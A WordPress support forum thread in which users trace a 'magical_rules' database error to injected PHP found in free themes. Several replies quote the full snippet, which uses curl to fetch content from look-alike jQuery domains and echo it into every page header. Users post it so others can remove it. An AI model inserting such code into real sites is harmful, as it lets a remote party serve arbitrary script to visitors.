• Full error message:

    Couldn’t connect to database server.Couldn’t find database magical_rules.An unexpected problem has occured with the application.
    SELECT statscurl_id FROM statscurl WHERE statscurl_ip = ”;

    I’ve googled about it and apparently many others seem to have the exact same problem. Does anyone know how to resolve this? No, its not with the plugins. No, its not with the 3.3 update.

    I’ve reinstalled the wordpress application twice and although it started out fine, within less than half an hour, the error message surfaced again.

    Thanks to all who have anything to reply!

Viewing 15 replies - 31 through 45 (of 45 total)
  • I resolved the error..thanks guys

    Yea, I have the same problem, I just figured out that for my website, it was the TubePress Plugin that is causing my problem. Is this “Magical_Rules” error a virus or trojan, or something? cause when I called my hosting provider (Bluehost), they reset everything. It was still causing problems. Then they went in on their side and deleted all my plugins. they told me to re-download all of them one by one, and so I did. once I got to Tubepress, thats when this error reappeared. I am running version 2.2.9. Also, in my header file, I didn’t see the above stuff above the header that you (michael.l.hayden) said to erase. It isn’t there above my header? any other suggestions as to what this error actually is?????

    So what if I get the error, but the header.php looks fine. There is no lines before the head..

    still the same error Couldn’t connect to database server.Couldn’t find database magical_rules.An unexpected problem has occured with the application.
    SELECT statscurl_id FROM statscurl WHERE statscurl_ip = ”;

    thanks,

    https://www.yourmadbusiness.com

    I also have this error and I do not have that code in the header.php file as per Michael.I.Hayden and other posts, in the Thesis theme, nor in any of the other header.php files. I looked in both my hosting account and by using FTP software. I also do not have the TubePress plugin. This error has suddenly appeared without me changing anything. Any more suggestions as to finding the root cause?

    Many Thanks

    TumbleweedMarketingAnalytics

    (@tumbleweedmarketinganalytics)

    Hello…I have the…SELECT statscurl_id FROM statscurl WHERE statscurl_ip = ”; message….BUT…..I DO NOT have the following code in my header to comment out. I just added Clean-Contact and Profile Builder plugins, but, even after I disabled, still having problems….

    <?php
    if(function_exists(‘curl_init’))
    {
    $url = “https://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221;;
    $ch = curl_init();
    $timeout = 5;
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
    $data = curl_exec($ch);
    curl_close($ch);
    echo “$data”;
    }
    ?>

    Kaye

    (@wahmaholic)

    I’m using the Thesis theme and had a similar problem this morning. Solved it by removing this code:

    <?php
    if(function_exists(‘curl_init’))
    {
    $url = “https://www.code.jqeury.org/jquery-latest.js&#8221;;
    $ch = curl_init();
    $timeout = 5;
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
    $data = curl_exec($ch);
    curl_close($ch);
    echo “$data”;
    }
    ?>

    out of the head.php file (which is located inside the lib->classes folder in the Thesis theme folder.

    Hope that helps ??

    Нужно в function.php удалить первую строчку,
    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "https://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}
    Ебался, ебался и вот получилось, если что я тут https://vk.com/id23085015

    These are English language forums. Please use English.

    I believe this error was definitely a server issue.
    I’m on a VPS Linux with WHM.

    I received the same error message on my website last night and in about an hour it was gone without me changing anything.

    Hope this helps someone.

    I can’t seem to find the code in my header.php file. Could it be somewhere else? Anyone? Could it be a plugin that is causing it? Could it also be something to do with jqueryc.com. Does anyone know why this is happening in wordpress suddenly?

    I have the same problem. As far as I know many pages are affected by this bug.
    I checked header.php, there is no code stated above. Anybody can help?

    if you dont have backup of your site, then simply download your all site via ftp and search this key word ‘jqueryc’
    you will get code like this
    if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url=”https://www.jqueryc.com/jquery-1.6.3.min.js&#8221;;$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);}
    simply delete it , save your file and re upload it on its destination …..
    hope this willl solve the isse….

    i am using woothemes, and i could not find the same code, here is my code before </head> which code i have to delete @michael?

    <?php
    /**
     * Header Template
     *
     * Here we setup all logic and HTML that is required for the header section of all screens.
     *
     */
     global $woo_options;
     global $woocommerce;
    ?>
    
    <?php
    	$http_or_https = (is_ssl()) ? 'https:' : 'http:';
    ?>
    <!DOCTYPE html>
    <!--[if lt IE 7 ]> <html <?php language_attributes(); ?> class="no-js ie6"> <![endif]-->
    <!--[if IE 7 ]>    <html <?php language_attributes(); ?> class="no-js ie7"> <![endif]-->
    <!--[if IE 8 ]>    <html <?php language_attributes(); ?> class="no-js ie8"> <![endif]-->
    <!--[if IE 9 ]>    <html <?php language_attributes(); ?> class="no-js ie9"> <![endif]-->
    <!--[if (gt IE 9)|!(IE)]><!--> <html <?php language_attributes(); ?> class="no-js"> <!--<![endif]-->
    <head profile="https://gmpg.org/xfn/11">
    
    <title><?php woo_title(); ?></title>
    <?php woo_meta(); ?>
    
    <!-- The main stylesheet -->
    <link rel="stylesheet" href="<?php echo get_stylesheet_directory_uri(); ?>/style.css">
    
    <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="<?php $GLOBALS['feedurl'] = get_option('woo_feed_url'); if ( !empty($feedurl) ) { echo $feedurl; } else { echo get_bloginfo_rss('rss2_url'); } ?>" />
    
    <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
    
    <!-- Load Modernizr which enables HTML5 elements & feature detects -->
    <script src="<?php echo get_template_directory_uri(); ?>/includes/js/libs/modernizr-2.0.6.min.js"></script>	
    
    <?php wp_head(); ?>
    <?php woo_head(); ?>
    
    <!-- Load Google HTML5 shim to provide support for <IE9 -->
    <!--[if lt IE 9]>
    <script src="https://html5shim.googlecode.com/svn/trunk/html5.js"></script>
    <![endif]-->
    
    </head>

    [Moderator Note: Please post code or markup snippets between backticks or use the code button. Or better still – use the pastebin]

    Hi everybody, this happend to me too in one of the websites I manage, two days ago and two weeks ago four of the websites I manage were infected with malware. I’ve been investigating since then to see how the malware got into my sites and I am pretty sure that this script is the problem.

    Let me explain what happen and forgive my poor english. You may have this php curl code inserted in your website because it might be a template downloaded for free from somewhere and then edited. PHP can be inserted into any template (wp – joomla – drupal – php websites and may be more).

    What does the scrip do? Ok, I took this part from hakipedia – “PHP supports libcurl which currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHP’s ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication. cURL can be used in conjunction with PHP scripts for bruteforce attacks (including SQL injection table brute forcing), reconnaissance attacks, spoofing, and data theft.”

    As you can see your information might be in bad hands by now… I recommend to seek and delete the script and change all passwords (ftp, data base, wp users, everything.

    I’ve seen this scrip in many themes including broadway – thesis – supportpress – viroshop – argentum – faultpress well many many more. (All free downloaded – don’t know about payed copies).

    It is important that you change all passwords because this php curl script is for fishing.

Viewing 15 replies - 31 through 45 (of 45 total)
  • The topic ‘Error Message: Couldn't connect to database server.’ is closed to new replies.